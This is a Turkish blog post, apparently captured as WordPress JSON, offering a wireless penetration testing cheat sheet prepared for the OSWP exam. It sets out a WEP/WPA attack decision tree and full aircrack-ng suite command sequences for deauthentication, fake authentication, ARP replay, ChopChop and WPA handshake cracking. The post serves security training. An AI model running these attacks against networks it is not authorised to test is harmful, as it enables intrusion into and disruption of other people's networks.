WEP mi, WPA\/WPA2 mi?\n- WEP\n- - Open Authentication mu Shared Key Authentication mu?\n- - - Open Authenticaton\n- - - - Herhangi bir client a\u011fa ba\u011fl\u0131 m\u0131?\n- - - - - Evet, ba\u011fl\u0131:\n- - - - - - # Arp Request Replay Sald\u0131r\u0131s\u0131\n- - - - - - # Interactive Packet Replay Sald\u0131r\u0131s\u0131\n- - - - - Hay\u0131r, ba\u011fl\u0131 de\u011fil:\n- - - - - - # Korek ChopChop Sald\u0131r\u0131s\u0131\n- - - - - - # Fragmentation Attack\n- - - Shared Key Authenticaton\n- - - - Herhangi bir client a\u011fa ba\u011fl\u0131 m\u0131?\n- - - - - Evet, ba\u011fl\u0131:\n- - - - - - # Fake Shared Key Authentication Sald\u0131r\u0131s\u0131\n- - - - - - # Arp Request Replay Sald\u0131r\u0131s\u0131\n- - - - - Hay\u0131r, ba\u011fl\u0131 de\u011fil:\n- - - - - - Client bekle...\n\n- WPA\/WPA2\n- - Herhangi bir client a\u011fa ba\u011fl\u0131 m\u0131?\n- - - Evet, ba\u011fl\u0131:\n- - - - # 4'l\u00fc el s\u0131k\u0131\u015fmay\u0131 yakala ve k\u0131r\n- - - Hay\u0131r, ba\u011fl\u0131 de\u011fil:\n- - - - Client bekle...<\/code><\/pre>\nNot: Yukar\u0131daki Attack Map'i haz\u0131rlarken en son a\u015famada # ile belirtti\u011fim sald\u0131r\u0131 t\u00fcrlerini i\u00e7eren toplu komutlar bu yaz\u0131n\u0131n en alt\u0131nda yer almaktad\u0131r. Direkt bu ba\u015fl\u0131klarla ilgili komutlara gidebilirsiniz.<\/p>\n
\nYararl\u0131 Olabilecek Komutlar<\/h2>\n
Yeni bir aray\u00fcz ekleme:<\/strong><\/p>\niw dev wlan0 interface add mon0 type monitor\nifconfig mon0 up<\/code><\/pre>\nAray\u00fcz silmek:<\/strong><\/p>\niw dev mon0 interface del<\/code><\/pre>\nMonitor Mode:<\/strong><\/p>\nairmon-ng start wlan0 1\n---------\niw dev wlan0 interface add mon0 type monitor\nifconfig mon0 up<\/code><\/pre>\nMevcut frekans:<\/strong><\/p>\niwlist wlan0mon channel<\/code><\/pre>\nMevcut MAC adresi:<\/strong><\/p>\nmacchanger wlan0mon -s<\/code><\/pre>\nairdecap-ng ile \u015fifreli paketleri a\u00e7mak:<\/strong><\/p>\nairdecap-ng -w 0000000000 web-shared-01.cap\n---------\nairdecap-ng -e 'test' -p 'mjdpPd4D' wpa2-01.cap -b '7A:2B:C1:63:BD:64'<\/code><\/pre>\nFake Authentication:<\/strong><\/p>\naireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface name><\/code><\/pre>\nShared Key Fake Authentication:<\/strong><\/p>\naireplay-ng -1 0 -e <ESSID> -y <sharedkey> -a <AP MAC> -h <Your MAC> <interface><\/code><\/pre>\nARP Request Replay Sald\u0131r\u0131s\u0131:<\/strong><\/p>\naireplay-ng -3 -b <AP MAC> -h <Source MAC> <interface name><\/code><\/pre>\nDeauthentication Sald\u0131r\u0131s\u0131:<\/strong><\/p>\naireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface name>\n---------\naireplay-ng -0 1 -a <AP MAC> <interface name><\/code><\/pre>\nBir ARP Request paketi olu\u015fturmak:<\/strong><\/p>\npacketforge-ng -0 -a <AP MAC> -h <Your MAC> -k <Dest IP> -l <Source IP> -y <xor file> -w <output file><\/code><\/pre>\nAireplay-ng ile KoreK ChopChop sald\u0131r\u0131s\u0131:<\/strong><\/p>\naireplay-ng -4 -b <AP MAC> -h <Source MAC> <interface><\/code><\/pre>\nInteractive Packet Replay Sald\u0131r\u0131s\u0131:<\/strong><\/p>\naireplay-ng -2 -r <packet filename> <interface><\/code><\/pre>\n
\nAttack Map \u0130\u00e7in Olu\u015fturulmu\u015f Komutlar<\/h2>\n
Cracking WEP Without Client - #KoreK ChopChop Sald\u0131r\u0131s\u0131:<\/strong><\/p>\nairodump-ng wlan0mon --bssid <AP MAC> -c <AP CHANNEL> -w ChopChop\naireplay-ng -1 6000 -o 1 -q 10 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface name>\naireplay-ng -4 -b <AP MAC> -h <Source MAC> <interface>\npacketforge-ng -0 -a <AP MAC> -h <Your MAC> -k <Dest IP> -l <Source IP> -y <xor file> -w <output file>\naireplay-ng -2 -r <packet filename> <interface>\naircrack-ng ChopChop-01.cap<\/code><\/pre>\nCracking WEP With Client - # Arp Request Replay Sald\u0131r\u0131s\u0131:<\/strong><\/p>\nairodump-ng wlan0mon --bssid <AP MAC> -c <AP CHANNEL> -w webWithClient\naireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface name>\naireplay-ng -3 -b <AP MAC> -h <Source MAC> <interface name>\naireplay-ng -0 1 -a <AP MAC> <interface name>\naircrack-ng webWithClient-01.cap<\/code><\/pre>\nCracking WEP via a Client - # Interactive Packet Replay Sald\u0131r\u0131s\u0131:<\/strong><\/p>\naireplay-ng -1 6000 -o 1 -q 10 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface name>\nairodump-ng wlan0mon --bssid <AP MAC> -c <AP CHANNEL> -w webViaClient\naireplay-ng -2 -a <bssid MAC address> -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 <interface>\naircrack-ng webViaClient-01.cap<\/code><\/pre>\nWEP Shared Key Authentication Attack - # Fake Shared Key Authentication Sald\u0131r\u0131s\u0131:<\/strong><\/p>\nairodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>\naireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>\naireplay-ng -1 0 -e <ESSID> -y <keystream file> -a <AP MAC> -h <Your MAC> <interface>\naireplay-ng -3 -b <AP MAC> -h <Your MAC> <interface>\naireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>\naircrack-ng <capture><\/code><\/pre>\n
\nEkstra<\/h2>\n
Cracking WPA via Airolib-ng:<\/strong><\/p>\necho wifu > essid.txt\nairolib-ng wifu --import essid essid.txt\nairolib-ng wifu --stats\nairolib-ng wifu --import passwd \nairolib-ng <db name> --batch\naircrack-ng -r <db name> <capture><\/code><\/pre>\nCracking WPA via John:<\/strong><\/p>\njohn --wordlist=\/usr\/share\/john\/password.lst --rules --stdout | aircrack-ng -w - john-01.cap -e Huawei_HG655d<\/code><\/pre>\njohn --wordlist=\/usr\/share\/john\/password.lst --rules --stdout --session=wpa | aircrack-ng -w - john-01.cap -e Huawei_HG655d\n#Session olarak kaydetti\u011fimizden aircrack-ng'den \u00e7\u0131kt\u0131\u011f\u0131m\u0131zda --restore ile kald\u0131\u011f\u0131m\u0131z yerden k\u0131rmaya devam edebiliriz.\njohn --restore=wpa |aircrack-ng -w - john-01.cap -e Huawei_HG655d<\/code><\/pre>\nCrunch ile Dinamik Wordlist<\/strong><\/p>\ncrunch 8 8 12345678 | john --stdin --session=wpa --stdout | aircrack-ng -w - wpa-01.cap -b 7A:2B:C1:63:BD:64<\/code><\/pre>\ncrunch 8 8 12345678 | john --restore=wpa | aircrack-ng -w - wpa-01.cap -b 7A:2B:C1:63:BD:64<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Asl\u0131nda bu cheat sheet’i OSWP s\u0131nav\u0131m i\u00e7in haz\u0131rlad\u0131m ama tabikide geli\u015ftirmeye devam edip, Wireless Testlerinde de kullanabilece\u011fim bir duruma yava\u015f yava\u015f getirece\u011fim. Ancak \u015fu haliyle…<\/p>\n
Devam\u0131n\u0131 okuWireless Penetration Testing #Cheat Sheet<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36,382],"tags":[497],"class_list":["post-1082","post","type-post","status-publish","format-standard","hentry","category-cheat-sheet","category-wireless","tag-oswp","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1082","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1082"}],"version-history":[{"count":11,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1082\/revisions"}],"predecessor-version":[{"id":1099,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1082\/revisions\/1099"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1082"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1082"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1082"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}